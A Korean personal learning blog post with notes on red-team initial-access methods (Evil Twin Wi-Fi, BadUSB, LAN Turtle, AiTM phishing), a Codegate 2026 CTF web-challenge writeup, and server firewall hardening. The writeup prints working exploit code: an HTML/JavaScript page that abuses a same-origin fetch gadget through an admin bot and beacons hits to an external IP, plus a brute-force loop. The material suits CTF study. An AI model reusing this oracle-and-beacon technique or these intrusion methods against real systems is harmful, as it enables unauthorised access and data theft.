6kitty 6kitty

⎛⎝ ≽ > ⩊ < ≼ ⎠⎞

6kitty

260329 TIL - 레드팀 초기침투 / 코드게이트 2026 / 방화벽 설정

레드팀 초기 침투 정리

계획 보고

: 목표, 기간, 간략한 공격흐름

레드팀은 실제 공격자의 관점, 방법으로 조직의 방어 체계를 종합적으로 검증한다.

  1. Vulnerability Assessment : 자산에 존재하는 결함 식별, 자산 스캐닝, SAST/DAST, Nessus 등
    • 취약점 패치보다 공격 경로를 막는 게 효율적일 수 있다.
    • 공격 접점 최소화
  2. Penetration Testing : 특정 목표에 도달할 수 있는지 공격 경로 증명
    • 오로지 뚫을 수 있는지에 집중, Cyber Kill Chain 기반 진행
    • Assumed Breach Model → 공격 난이도 상승
  3. Red Teaming
    • 실제 공격 상황 시뮬레이션
    • 공격을 통제할 수 있는지에 집중
    • 탐지/대응까지 평균 소요 시간 (MTTD, MTTR)
    • 탐지/대응 역량 강화

초기 침투 방법

  1. DMZ 웹 서버 장악
  2. 피싱 메일 발송
  3. 물리 침투
  4. Supply Chain Attack
  5. 피싱 사이트, 재택근무 (VDI 등)

공격 벡터 분류

  1. Crown Jewel : 침해사고 발생 시 회사가 회생 불가능한 타격을 입는 핵심 가치
    • 공격자가 노리는 최종 목표 (국가핵심기술, 생산 라인, 고객 DB, 금융 자산 등)
  2. Exploitation : 인터넷에 노출된 자산 직접 공격
    • IAM 토큰 탈취, Shadow IT 공격, VPN/VDI, DMZ(파일 업로드, RCE), 인터넷 노출된 내부 자산 (SSH, RDP, Telnet, WinRM)
  3. Identity : 정상적인 사용자의 신원 및 권한 탈취
    • AiTM (EvilGinx, TokenFlare), 피싱, Credential 확보, Helpdesk Telephone Attack
  4. Physical : 공격 대상에 물리적으로 접근
    • 무선랜 (사내 무선망 무단 접속, Evil Twin)
    • 동일한 이름의 AP 생성 → 동일한 인증 방식 → 임직원이 연결하면 → MAC 주소 수집, PW 오프라인 크랙 (PEAP Relay)
    • 엔드포인트 보안 솔루션이 없는 기기에서 무선랜 접속하여 내부망 침투
    • Netgear A8000 활용
    • 사내 업무 PC 장악해서 지속성 확보, non-winlock PC 대상으로 BadUSB 실행
    • LAN Turtle 설치 → 터널링 구축
  5. Trusted Relationship
    • Supply Chain Attack, 망 연동

Operations 흐름

  1. 초기 침투
  2. Office
  3. ADCS
  4. AD
  5. Data Center
  6. ?

코드게이트 2026 Writeup

memo 문제는 단일 취약점이 아니라 작은 버그 4개를 이어 붙여 푸는 웹 체인이었다. 핵심은 admin만 볼 수 있는 랜덤 파일명의 플래그 이미지를, 봇의 관리자 세션과 blind oracle로 한 글자씩 복구하는 것이다.

핵심 분석

1. 플래그 파일명은 빌드 시 랜덤화된다.

FLAG.png가 그대로 배포되지 않고 flag_<16hex>.png 형태로 바뀐다. 그래서 파일명부터 찾아야 한다.

2. 관리자 이미지 API는 prefix 매칭을 한다.

/api/image/admin?filename=...는 admin 권한과 Sec-Fetch-Site: same-origin을 요구하지만, 내부적으로 startsWith(filename)로 파일을 찾는다. 즉 filename=flag_만 알아도 실제 파일을 찾을 수 있다.

3. 공유 메모 페이지에 same-origin GET 가젯이 있다.

공유 페이지는 key를 받아 /api/memo/shared/${key}로 fetch를 날린다. 여기서 key=../../image/admin?filename=flag_... 같은 값을 넣으면 브라우저의 경로 정규화로 /api/image/admin?...를 same-origin으로 요청할 수 있다.

4. 없는 이미지 요청은 404가 아니라 무한 대기한다.

/api/image/api/image/admin은 파일이 없으면 그냥 return해버려 응답이 끝나지 않는다. 반대로 파일이 있으면 이미지 바이트가 정상적으로 내려온다.

5. 봇은 관리자 세션으로 https://nginx에 로그인한 뒤 외부 URL을 방문한다.

JWT 키나 admin/password는 미끼였고, 실제 의도는 봇의 관리자 세션을 이용하는 것이었다.

익스플로잇 아이디어

외부 페이지를 준비해서 봇에게 방문시키고, 그 페이지 안에서 다음을 수행한다.

  • iframe으로 https://nginx/memo/shared?key=../../image/admin?filename=flag_<prefix><cand>를 연다.
  • iframe.onload를 셋업한다.
    • 첫 번째 load: 공유 페이지가 열린 순간
    • 후보가 맞으면: 내부 fetch 성공 → JSON 파싱 실패 → /으로 리다이렉트 → 두 번째 load 발생
    • 후보가 틀리면: 이미지 요청 무한 대기 → 두 번째 load 없음

즉 “두 번째 load가 생기면 prefix hit”라는 blind oracle이 된다.

실제 신호 수집

두 번째 load가 생겼을 때만 내가 만든 메모의 조회수를 1 올리도록 설계했다.

<!doctype html>
<html>
<body>
<script>
let loads = 0;
const markerId = "내가 만든 BF_a 같은 메모 id";
const target =
  "https://nginx/memo/shared?key=" +
  encodeURIComponent("../../image/admin?filename=flag_" + prefix + cand);

const f = document.createElement("iframe");
f.style.width = "1px";
f.style.height = "1px";
f.onload = () => {
  loads++;
  if (loads >= 2) {
    navigator.sendBeacon(
      "https://3.38.205.243/api/memo/" + markerId + "/view",
      "x"
    );
  }
};
f.src = target;
document.body.appendChild(f);
</script>
</body>
</html>

이 HTML은 http(s) URL이어야 봇이 방문하므로, https://httpbin.org/base64/<base64(html)> 형태로 호스팅했다.

브루트포스 흐름

  1. 일반 유저로 가입/로그인
  2. BF_0 ~ BF_f 메모 16개 생성
  3. 각 라운드마다 16개 후보를 동시에 봇에 제출
  4. 20초 정도 기다린 뒤 /api/user로 내 메모 목록 확인
  5. 조회수가 증가한 메모의 hex 문자 하나를 prefix에 추가
  6. 16번 반복
prefix = ""
for _ in range(16):
    baseline = get_my_marker_views()
    for c in "0123456789abcdef":
        report(attacker_page(prefix + c, marker_for[c]))
    sleep(20)
    now = get_my_marker_views()
    hit = only_char_whose_view_increased(baseline, now)
    prefix += hit

최종 복구한 파일명: flag_5bf617256c6f1a3b.png

GET /api/image?filename=flag_5bf617256c6f1a3b.png

플래그: codegate2026{HTTP2_has_many_streams!}

정리 - 의도된 체인

  1. 봇의 관리자 세션 확보
  2. 공유 메모의 same-origin fetch 가젯 악용
  3. 관리자 이미지 API의 prefix 매칭 악용
  4. 없는 파일 요청의 무한 대기를 load oracle로 사용
  5. 랜덤 파일명을 16진수 한 글자씩 복구
  6. 공개 이미지 API로 최종 플래그 다운로드

방화벽 설정

별생각 없이 로그 보면서 트러블슈팅하려는데 외부에서 CONNECT 요청을 마구 쏘고 있었다.

ubuntu@instance-xxxxx:~/6puppy$ sudo journalctl -u 6kitty-bot | grep CONNECT
Mar 27 09:13:18 ... "CONNECT 185.65.245.140%3A7227 HTTP/1.1" 404 Not Found
Mar 27 10:51:09 ... "CONNECT www.google.com%3A443 HTTP/1.1" 404 Not Found
...
Mar 29 12:04:55 ... "CONNECT cse.avlyun.com%3A443 HTTP/1.1" 404 Not Found
Mar 29 12:04:56 ... "CONNECT sso.toutiao.com%3A443 HTTP/1.1" 404 Not Found
...

여러 스캔을 뜨고 간 것 같다. 클라우드 서브넷 설정이 이미 not found로 되어 있어서 상관 없을 것 같긴 하지만, UFW도 설정하고 리버스 프록시도 설정해보기로 했다.

UFW 설정

sudo iptables -A INPUT -s 156.238.229.19 -j DROP
sudo ufw deny from 156.238.229.19
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22
sudo ufw allow 80
sudo ufw enable

Nginx 리버스 프록시 설정

rate limit과 CONNECT 차단을 포함한 최종 설정:

limit_req_zone $binary_remote_addr zone=api_limit:10m rate=5r/s;

server {
    listen 80;
    server_name _;

    # CONNECT 차단 (프록시 공격 방지)
    if ($request_method = CONNECT) {
        return 405;
    }

    location / {
        # rate limit 적용
        limit_req zone=api_limit burst=10 nodelay;

        proxy_pass http://127.0.0.1:8080;

        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;

        proxy_connect_timeout 5s;
        proxy_read_timeout 60s;
    }

    # health는 내부만 허용
    location /health {
        allow 127.0.0.1;
        deny all;

        proxy_pass http://127.0.0.1:8080/health;
    }
}

iptables 설정

sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT
sudo netfilter-persistent save

검증

# CONNECT 차단 확인
curl -X CONNECT http://146.56.109.69
# → 405 Not Allowed

# rate limit 확인 (20회 연속 요청)
for i in {1..20}; do curl -s -o /dev/null -w "%{http_code}\n" http://localhost; done
# → 10개 이후 503 Service Unavailable

방어 레이어 정리

레이어 도구
Cloud Firewall OCI Security List / AWS SG
OS Firewall UFW + iptables
App Layer nginx (rate limit, CONNECT 차단) + FastAPI